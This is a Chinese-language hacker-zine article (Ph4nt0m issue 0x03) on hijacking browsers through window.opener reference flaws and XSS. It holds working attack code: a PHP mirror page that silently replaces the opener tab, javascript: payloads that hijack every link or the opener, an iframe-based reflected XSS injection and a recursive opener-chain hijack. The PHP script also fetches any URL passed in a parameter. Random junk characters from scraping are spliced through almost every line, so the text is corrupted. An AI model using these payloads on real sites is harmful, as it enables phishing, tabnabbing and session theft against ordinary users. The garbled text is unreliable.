==Ph4nt0m Security Team==+ ~4 B: j1 K! ~
6 r+ y* }0 B% t0 M$ g( _ Issue 0x03, Phile #0x05 of 0x07
' Y$ Y/ ^# H8 I, Q: O & \0 @9 h8 L4 R6 F4 _$ f5 L
( F" |; v! f+ {# Q' V2 \+ o
|=---------------------------------------------------------------------------=|
# {/ U) c. e" x# N|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
1 C1 f, l) p& R/ j4 r {|=---------------------------------------------------------------------------=|1 V) T8 g: Q& c2 V; d. ^0 ?
|=---------------------------------------------------------------------------=| e' S% K5 f4 {8 ?8 m4 }( f7 c
|=------------------------=[ By rayh4c ]=---------------------------=|, y& [, B% M7 h( i2 `
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
* @1 ?$ R' R1 H! b5 W/ [3 f0 U|=---------------------------------------------------------------------------=|- ]5 y# L/ m( \$ B( k
% @( p+ P6 G9 k* t7 [4 _" ~7 R
+ C' r/ E4 d4 @ i, G[目录]; E" v# _0 M- z% x5 L* @
- k2 \0 T# [! a1 Y2 d1. 前言
" b9 U' t i9 y4 J' ~2. 同源策略简叙! R( F7 D' B2 O% [
3. 理解window对象的同源策略" R' x k, c) V, M) X# {- L( r
4. 窗口引用功能中的同源策略漏洞7 |( E" S, n' q, n; s2 |! u
4.1 父窗口引用子窗口的同源策略问题$ m. ^' h s$ G9 }: T1 n) {8 j
4.2 子窗口引用父窗口的同源策略问题2 a2 B; `# a: U) g0 F1 d
5. 利用窗口引用漏洞劫持浏览器6 u+ x& z/ @& n% I' t h7 i: I
6. 利用XSS漏洞劫持浏览器/ t2 o& k% ^& @: ]7 ~, |0 B
6.1 正向跨窗口劫持
/ w+ x9 P# y9 w0 ? 6.2 反向跨窗口劫持
7 t6 S7 j9 L2 Q6 A& S+ C 6.3 极度危险的跨框架窗口引用劫持( b8 D' s ]: w; E" e5 |# r+ E
6.4 极度危险的正反向跨窗口递归劫持7 G2 Z. g. \% Z( {# V C
6.5 完全控制浏览器4 F1 ~ }% `/ e& t- S
7. 后记- n$ y# V6 A% I8 V' j1 c7 g
8. 参考5 Q( M. { R! q
. X! E( M% ?$ H) [
* w! ?' \ L" K9 C6 H
一、前言
8 C" _; W0 k- S7 e5 q6 W# |- h+ ^* C
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋* t. F8 \& W5 x. ~5 d
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session1 u4 v3 C( }* x, z j
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被3 L" ^' H' b6 p) i4 L5 k
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。% O/ l6 d) `( h" o% `4 M
3 M% \4 Q! A" u% s! q
! _ X8 N1 x6 K' _5 o7 Y二、同源策略简叙
8 ?- P+ [- H) J) Q: c' K9 g
' C# C* y8 m% G' M1 D 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
/ |0 E9 x+ G% X* L2 }5 q2 z从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都0 L. D0 e' y: _, O2 Y7 u C
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
0 j+ Q0 E$ j% ]3 O5 m* U/ Y马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个* j: i! p6 e% r8 s, H, Z+ p2 A" n/ e
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。0 q% B# \' z, z& P' R
8 k7 |5 d7 r( P' Y. ?
# w d* T7 U9 K, r/ {. n/ @三、理解window对象的同源策略
8 k( f e' Q4 p" Q# ]# h M0 G: y1 D
* g8 _7 E& {5 }1 W7 N) ]6 } 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
6 r0 X$ k1 O0 a; N1 R象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:+ y+ _) I; m. ~7 v
3 g1 v V: M# y8 m; v--code-------------------------------------------------------------------------) B9 G* Z" [5 T6 h G I
<script language="javascript">
( x$ \: w8 ]& \% q _for(p in window) document.write(p+"<br>");
$ b+ K- S# o5 P6 \9 F</script>
6 s- Q \! W$ n7 O& M3 }-------------------------------------------------------------------------------
6 k" b6 D+ T1 I$ x5 Z5 q3 J, w" [/ E6 \& v3 V7 Y
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方# \# n; ?4 a- k7 r
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
- [6 a, G5 j8 w# f这些属性和方法就必须遵循同源策略。
" n$ r/ s8 f6 Y3 G. c% H, l- r7 T; d6 I2 b
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
2 O" n P+ o7 E9 E7 z3 Z- O Y5 T么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须4 J2 g4 i0 y/ H1 W5 F0 |$ J
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这: ~8 {2 @# {9 O' x! [0 ?
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
7 U6 O( q* r) Z6 n# I3 L& k! `值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location- P+ f0 W! n( u8 ^4 E0 N* q
属性并没有被拒绝访问。4 U! G, u/ [6 V) E' P4 {1 {$ |
/ y f& z6 Z; C
--demo.html--------------------------------------------------------------------
/ O8 f8 E6 {/ a, F<script language="javascript">
6 W& Y) A# {5 f+ hfunction allPrpos(obj) { 4 U* |$ ? ]' j0 m
var props = "<table><tr><td>名称</td><td>值</td>"; ; a* l, x1 o9 L3 C, e9 _
for(var p in obj){ & p U- _8 C+ P& N) `
if(typeof(obj[p])=="function"){
* d/ |$ ?1 V9 e/ Q0 A9 q! { obj[p](); 5 K' G7 x* X8 e2 f0 O& v! x' k
}else{ + @5 q4 E' J/ F3 Y' _) B
try
, }" z8 n N$ E { ) H+ X' A% C. X4 G
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
1 y, \1 K' q, j1 [ }
, c7 [, V5 Z' @& S0 [ catch (ex)
H6 y- m7 M! t {
7 [; s+ t6 z/ T2 `7 u
' O4 w2 K! u( @* e3 g! S/ p props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
0 J" y1 A4 E* y } 7 w! C" w2 U: W, ~) O" q5 A4 d
9 [" m9 W- M0 C3 C+ C }
6 a# h7 \/ ?: C% ] } / g. V& A W0 X9 o: q
, j c: L, i1 \
document.write(props+"</table>"); 1 R5 g4 L$ }/ e5 g# i
}
& @! {) \) s3 R4 {: g K . X; b8 X9 q: R" I* d3 z8 t
function createWin() {
a0 K5 d. O1 _6 r: T% k9 U newWin = window.open ("http://www.google.com"); / X% L- C! C* B( s3 `* j; y3 I! n
setTimeout(function(){allPrpos(newWin)},2000);
6 z, T9 j1 n" I* z} 2 Z! B2 r$ X/ [4 G% P s! a' I6 W
/ [1 {6 E: U, |; X% z</script>
& j2 I! V9 p9 Z) l: @" z3 M* ^+ z! o! k) Q {" O, i
<button onclick='createWin()'>创建一个非同源子窗口测试</button>5 D$ E& L) u% G: L* ^
-------------------------------------------------------------------------------
! _. \8 J$ ?7 y2 S% {0 d; h
$ Y# f' l1 v! i1 p% ]3 E) z7 S3 o5 ?+ j0 o
四、窗口引用功能中的同源策略漏洞
. X0 w3 d* ]) h0 H$ u8 n4 |- C' N" D
4.1 父窗口引用子窗口的同源策略问题2 @: d* j& L+ T0 K$ ^
! P9 q( O+ Q$ P 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,: M1 `4 J8 k1 |* z
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
0 z5 h% c7 }) W2 I/ y8 ^( O1 B浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
5 X8 D3 H& c3 o/ @行测试,会发现父窗口可以控制非同源子窗口location属性值。
0 U- x+ H: b) o- q+ F
/ n3 E3 m! a! s1 p3 E5 v/ S/ y: E--vul1.html--------------------------------------------------------------------
! g( k$ C) z# \<script language="javascript">
, S7 E/ L" }2 r: N1 ?7 T% P$ Rfunction createWin() { 6 m6 K) H/ l6 H0 Z6 o( O
newWin = window.open ("http://www.google.com"); 0 R5 O1 l+ R# `7 Q3 h4 _
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ' z9 D( i/ @/ a8 J
} 6 B8 ~* n. X; G
</script>
N; o: t( {2 G3 g& D9 p, y3 S9 b/ Q- O3 m& H, @, O! {
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
" T$ U6 E* ^& B# Z" z( }$ d-------------------------------------------------------------------------------
8 A# c% p5 Y4 T! U! J) P9 v( G" n8 ` d) L. K3 B) w- e
) _3 B/ O: w/ w( Z4.2 子窗口引用父窗口的同源策略问题& H5 z6 U+ g; ^9 n
- n }2 r/ b% k, g8 A" P
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使6 l; D4 V' B3 D X& X" Q& ~
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
% H' P6 E' {8 B9 N$ A$ m6 \! g2 k可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定' U/ X3 Z2 D) ]. N W4 t Y) r
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
1 K, R9 Q. \2 q" K, P! P2 f5 n- [( I
$ f/ C! V7 `! D) G" `1 J/ q; A--code-------------------------------------------------------------------------9 G9 ]% `) ^5 z5 }0 R" N! [
: L9 ^& @$ D. ]0 Q
javascript:window.opener.location = "http://www.80sec.com";void(0);
% {) I" ~* ]/ o# W
# r# E# S: Y# i( e" k, b' A9 M! ~- J-------------------------------------------------------------------------------
, k" x/ m" g5 K I6 H, \ E* }% X d+ k$ D" [. ?
3 }) T& G |6 O3 j! M) g2 D
五、利用窗口引用漏洞劫持浏览器
: C9 E+ F* E* p1 R I! f1 ?
; A5 k+ L& G# c9 U. ]1 S% f 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子3 c0 K1 p5 L3 g3 O( J' x# E
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那# k9 O0 T) H+ d5 M- q
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
: j$ e/ ?+ ?/ D# C9 A
( i g4 ` ?/ _$ j+ l$ Z 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
3 l8 u/ Q1 X# y5 Y @; A生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或 y* n+ n. P1 G6 Q
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接6 T# h# m5 j+ ~1 ?, ?3 g5 |+ E+ @
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下( F0 U% @2 T6 } W& U# M0 j: D
会产生什么可怕的后果。
$ R2 {8 s: C& W
+ W5 Q+ X( X/ h 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我. i) a4 h% H1 _: h l; D
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php0 `7 g6 g: U/ Z
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
* [2 D {6 e- l" W/ h# F- [候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
& G' Q7 Q/ {# n a) ~以做更多的事情,所有的一切仅仅是因为点击了一个链接。
9 ~; [( K9 i( S6 u: }
' O$ G3 P% k. c5 W--hjk_ref.php------------------------------------------------------------------
4 ^' J/ s0 h; ~, I C- o<?php
$ }! [$ v3 \: T. R$ Dif (array_key_exists("HTTP_REFERER", $_SERVER)) {1 r$ G4 t: w0 `% T5 E& H3 M
$Url_Mirror = $_SERVER["HTTP_REFERER"];5 U' ^" H: H0 o1 ~! Q+ V2 j
} % d9 V Z8 S) d4 ?9 f0 I' i
if(isset ($_GET['ref'])) {6 Q8 Z: P! K1 ]2 H! M
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';/ H0 ?- }! |* F9 n; L' V8 |. M
}
6 p$ L3 p( g6 i d; a9 r l" }?>) b( r' W4 m _6 Y. A# J( P
* \* B0 O0 O+ P. `2 k
<script language="javascript">
2 |) n# v$ R7 h8 e# _' o$ c( |/ v$ [setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 9 v& k* w" D) O. T
</script>5 X8 e! b/ J) B/ t; t3 E! K
-------------------------------------------------------------------------------1 Y; {1 t- ?, f, c0 e- ~
* F$ o/ b- x& G K$ s2 z- P
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
3 M4 r: n( r2 P0 A' c0 N5 m0 t( d# Y$ a, \ z
6 D5 j8 C( {! X) W1 |' W1 @- F; K9 U
六、利用XSS漏洞劫持浏览器
0 X( d B5 T& Y* l0 t
+ E* K, [0 w( o* y# K; d% r 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
1 f) k0 w) ^' t4 s4 e; V$ S持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后3 ~& {/ b% U) L9 F8 J
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
& ^8 _, r4 \6 y; C讨论跨站师的终极技巧:% h2 a! Y/ Q/ }0 s! J: J4 r( X
& s; r0 Z2 [- e" `9 U6 _) p* g
* ^5 Z: T3 q! ^4 Y8 {6.1 正向跨窗口劫持
) c: {, k# r( R$ E7 j+ D, L: ]: u# b5 F- }( e/ T
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛* T2 e" b% a1 s2 ?" x' g/ l
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链/ {7 |4 V; s b( o; }
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话. ]" m& i& R" M; n& n, J. Z
框脚本。 3 l4 s/ ~1 E( q% V& W
, X5 x. m3 t% }; c
--hijack_open.js---------------------------------------------------------------
% [. ^- N' a8 Q
3 S0 u% W& \8 y+ f6 @6 }javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
2 `& I2 {5 G1 n4 q! T8 x) d* S8 j6 A9 I7 }* f3 @
-------------------------------------------------------------------------------- @; C/ ? H0 @$ F5 U3 M- v5 p- O
, C' R: H5 `2 m
' r O4 C( N y& _, j
6.2 反向跨窗口劫持 y8 u4 o/ M6 }. c0 [% A5 _
' v$ c1 y6 I4 m3 X 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
4 l: C1 H4 X& R6 M码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话( p( F* c5 }* V" |
框脚本。
R- @( _ x4 {4 d. w0 P. p n; t! c5 ]" y* h
--hijack_opener.js-------------------------------------------------------------( p% E: E/ J; E/ ~
1 y# p& J) b: F: t# U/ Zjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);7 u6 w- [ Y; j! v, |2 U+ p3 U
: M5 l0 _5 F6 W# k* @! K" v-------------------------------------------------------------------------------5 f" j7 c7 k+ v a3 P
& t# _$ L/ ^6 Y- Y' D9 k k
6 i1 K: f! w& I4 M6.3 极度危险的跨框架窗口引用劫持* i% E+ N# _. d+ }
0 v9 u& G8 U; K' C7 J( v 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞7 y1 o v! X5 e1 x
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
: b* r2 B6 k: u P" v# @适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个& ~8 l8 A( B4 n& U5 b- K
非持久型的XSS,如下:% z) t7 h& f/ a% s. Y% R
& D, W; H4 i/ `& f* k" u& W<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>' G! C1 I* N+ S$ O6 @7 {
( A- |6 x1 f) U: s 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口4 N4 H% R4 F7 `4 _/ f+ {! e
注入脚本。5 B) X' `: ]7 n5 b
4 p5 Z- {9 L7 P: O. f--hijack_frame_opener.js-------------------------------------------------------, G% n5 ~# P& |9 h& X; d- h( f( r
<script>7 y2 k" T6 i3 J& b, `5 i$ |8 a
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
+ K* y1 a# V. Z& t* ?$ s</script>- G: o( R/ `1 `) }# q) y' ]
-------------------------------------------------------------------------------
9 Q- n, U3 V0 F/ P0 K6 h" y6 o/ _- B
) i Y& z) c2 W* Z, `, D7 F8 O$ V5 P! h V a, R" g
6.4 极度危险的正反向跨窗口递归劫持* \$ j0 c5 l" ?7 O' b% X
/ x. J. q8 [. K9 Y luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
3 N B; z6 Q0 L8 ^6 a1 s的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
1 L7 G8 ^/ R" w/ q3 i异常处理规避之间跨域页面的访问异常,代码如下:
' L5 R% l3 |5 ?: R" }* {& u& F4 a3 U W$ u# I' y6 o
--code-------------------------------------------------------------------------% Z- Z: @ T0 k: j) X! n- T, k3 `
5 }4 |. m8 h0 v5 Ajavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);! n' K) {0 u+ ^7 w c
8 b% J) a4 [! U
-------------------------------------------------------------------------------. Y. r0 M, g+ V+ s v
7 F! K8 [& |4 D8 p 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
, P, g3 ` e, I以劫持B域之前的A域页面,从而实现“隔空打击”。
! n" e, E- u9 v0 Q
; }( B% ~5 B/ {) i# H 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
6 i+ E2 o8 T. ]0 k& f2 x; K! ^执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。; |; x0 p T, ?0 F
9 w! t% S2 n/ l, ~8 o- e 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。# S7 E) y) @, g! D
; B- J0 ~1 M- }; J
3 J; n" a9 J9 _) @* r8 b4 O
6.5 完全控制浏览器0 |9 v7 e& i4 g- P* ?0 K
4 V5 C1 |0 Q# H5 e) M9 o+ x$ d 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
) Y. O* s1 K# `5 y是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS L; Q$ N% o# }
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失* X4 l5 F" g/ ], N {: Z
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再5 X, B. ^8 ~$ I! r7 o3 o: \
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
- V! i. O9 W- {师的终极目标 - 完全控制浏览器。* Z# b3 i5 e" r2 ~" w% g1 x
8 v# H& G' }( z! m* n1 K/ Z8 R q) ?
u: k3 ?; G! q- ?1 i/ `; G
七、后记) m+ e+ c/ \- `. [* F
; @8 c+ v0 S+ L* _3 I. {9 U8 ^; h) m 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全 U" g5 Z: J P% V
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予! C5 S$ k) e. K) K% B; e, a& N
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
) r8 G: V: a5 H- L3 Z( H" a, l7 s& v( P7 U6 @# F+ O9 Y
@$ ^6 V: d( R: _8 {* K八、参考
- p+ q8 D; y8 O4 v1 ~, c$ _! Q
1 c, ], n; I2 O2 V. O6 O4 \1. http://en.wikipedia.org/wiki/Same_origin_policy" J+ Y0 H5 i9 R. D5 [7 _) w6 d9 m
2. http://code.google.com/p/browser ... licy_for_DOM_access7 s8 }6 V3 |! I1 T5 T; ~
3. http://www.w3.org/TR/Window/$ k% }8 d f& g- G7 T
4. http://www.80sec.com/release/browser-hijacking.txt4 [! z6 v, z. T( d. {( R' ]3 K
5. http://www.80sec.com/all-browser-security-alert.html+ @* Q$ u) v; {' e; ^; u
6. http://www.80sec.com/ms08-058-attacks-google.html. b. d" |$ c3 L1 T
1 W; d( X w" x; b: ~9 w" G! \9 @
-EOF- |